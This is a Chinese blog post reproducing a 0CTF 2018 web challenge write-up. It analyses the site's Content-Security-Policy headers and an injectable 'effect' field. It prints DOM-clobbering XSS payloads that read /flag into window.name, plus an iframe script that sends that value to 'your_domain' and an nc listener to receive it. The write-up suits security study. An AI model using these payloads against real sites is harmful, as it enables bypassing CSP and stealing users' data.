复现0ctf blog

简介: 参考文献:https://lorexxar.cn/2018/04/05/0ctf2018-blog/https://45.76.198.31/post/0CTF%202018%20Quals%20Bl0g%20writeupCSP:https://developer.

参考文献:https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://45.76.198.31/post/0CTF%202018%20Quals%20Bl0g%20writeup
CSP:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src
利用window.name+iframe跨域获取数:http://www.cnblogs.com/zichi/p/4620656.html
站内的功能:

  • New 写文章并提交
  • article/xx 查看文章/评论
  • submit 提交url (start with http://202.120.7.197:8090)
  • flag flag{ONLY_4dmin_can_r3ad_7h!s}

在响应头中可以看到CSP

Content-Security-Policy:script-src 'self' 'unsafe-inline'
Content-Security-Policy:default-src 'none'; script-src 'nonce-+AqBwcppQYhunm0hOq5iEIBH+LI=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

其中

  • script-src 'self' 'unsafe-inline':允许使用内联资源,如内联<script>元素, javascript: URL,内联事件处理程序和内联<style>元素

  • script-src 'nonce-+AqBwcppQYhunm0hOq5iEIBH+LI=' 'strict-dynamic''strict-dynamic '源表达式指定显式给予标记中存在的脚本的信任,通过附加一个随机数或散列,应该传播给由该脚本加载的所有脚本。 同时,任何白名单或源表达式,例如'self''unsafe-inline'都将被忽略。strict-dynamic对因为nonce-{random}匹配或者hash匹配(例如 sha256-{sha256sum}、sha512-{sha512sum}等)而加载的 js 代码赋予一定程度的信任,允许他们操作 DOM 来加载其他的 js>。 例如,像script-src 'strict-dynamic' 'nonce-R4nd0m' https://1.com/将允许加载一个具有<script nonce="R4nd0m" src="https://2.com/a.js"> ,并将该信任传播给由a.js加载的任何脚本,但不允许从https://1.com/加载脚本,除非伴随着一个随机数或从可信脚本加载。

  • base-uri 'none'代表不能通过修改根域来实现攻击;

  • default-src 'none'定义针对所有类型(js、image、css、web font,ajax请求,iframe,多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认的。这其中包含了iframe-src,这代表攻击方式一定在站内实现
    *script-src的双限制代表我们只能通过<script>{eval_code}</script>的方式来实现攻击。

两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了<script src="your.website">,就会被第一条CSP拦截。

new中有一个字段是effect,是设置特效的
effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。
config.js里定义了 effects 变量

var effects = {
    'nest': [
        '<script src="/assets/js/effects/canvas-nest.min.js"></script>'
    ],
    '3waves': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/three-waves.min.js"></script>'
    ],
    'lines': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/canvas-lines.min.js"></script>'
    ],
    'sphere': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/canvas-sphere.min.js"></script>'
    ],
}

article.js是取页面中 name="effect" 元素的值作为 effects 的下标,通过 jQuery 的 append() 追加的页面中

$(document).ready(function(){
    $("body").append((effects[$("#effect").val()]));
});

effects 是可以被我们劫持的:

img_359f1d05e81eb6716e32a37c4b2ca034.png
1.png

<script a="
<script nonce="testtt">...
浏览器有一定的容错能力,他会补足不完整的标签
=====>
<script a="<script" nonce="test">...

覆盖effects[$("#effect").val()],这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),尝试传入

id"><form name=effects id="<script>alert(1)</script>"><script>
img_ecca071ceaf64b44f57e9c38dfc630f2.png
3.png

img_5683baec66dd6228e742d8c419bf5594.png
4.png

通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name,紧接着,我们需要想办法获取这里的window.name(window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。)

id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

img_443f3be4bfaa833c84716c9f6bdf53bf.png
6.png

通过iframe 读取 window.name里的内容:

<iframe src="http://202.120.7.197:8090/article/3855"></iframe>
<script>
    setTimeout(()=>{frames[0].window.location.href='/'},1200)//当前页面打开URL页面
    setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)//当前页面打开URL页面
</script>

最后nc连接查看:nc -lp 8989

目录
相关文章
|
域名解析 监控 JavaScript
宝塔面板pm2管理器部署node.js(express框架)sever文件,可以使用域名访问你的后端项目
宝塔面板pm2管理器部署node.js(express框架)sever文件,可以使用域名访问你的后端项目
1457 0
uni-app 73聊天类封装(八)-添加聊天记录
uni-app 73聊天类封装(八)-添加聊天记录
102 3
|
存储 安全 PHP
不知几DAY的Symfony---RCE复现
Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla! 此文演示了该框架存在的一个RCE漏洞
不知几DAY的Symfony---RCE复现
|
开发框架 监控 Kubernetes
CTF本地靶场搭建——GZ:CTF基础使用
GZ::CTF是一个基于ASP.NET Core的开源CTF竞赛平台,支持Docker或K8s容器部署,提供静态和动态题目类型,包括静态附件、动态附件、静态容器和动态容器,具备动态分值功能,如三血奖励和动态flag作弊检测。平台还具有实时通知、邮件验证、用户权限管理、Writeup收集、流量代理转发等功能。此外,它包含比赛管理、队伍管理、用户管理等多个管理模块,适合举办和参与网络安全竞赛。
|
监控 安全 Linux
在Linux中,如何配置VPN服务?
在Linux中,如何配置VPN服务?
|
存储 缓存 DataWorks
DataWorks操作报错合集之配置项目连通oss数据源 , 报The request signature we calculated does not match the signature you provided.如何解决
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
|
Java Unix Linux
开源项目推荐:IM开源即时通讯软件收集,请重点关注Telegram/野火/flamingo
开源项目推荐:IM开源即时通讯软件收集,请重点关注Telegram/野火/flamingo
4528 0
|
存储 搜索推荐 Linux
|
Linux
Linux软件包管理工具-rpm
前言 rpm是Red Hat及其他基于RPM的Linux发行版中用于管理软件包的基本包管理工具。 rpm是一个二进制包管理系统,它允许用户在Linux系统中方便地安装、升级、查询和删除软件包,它使用.rpm文件扩展名的软件包文件。
388 0
|
Java Docker 容器
Docker中安装JDK1.8(二)
[root@localhost software]# java -version 显示cannot open shared object file: No such file or directory时需要安装:
722 0
Docker中安装JDK1.8(二)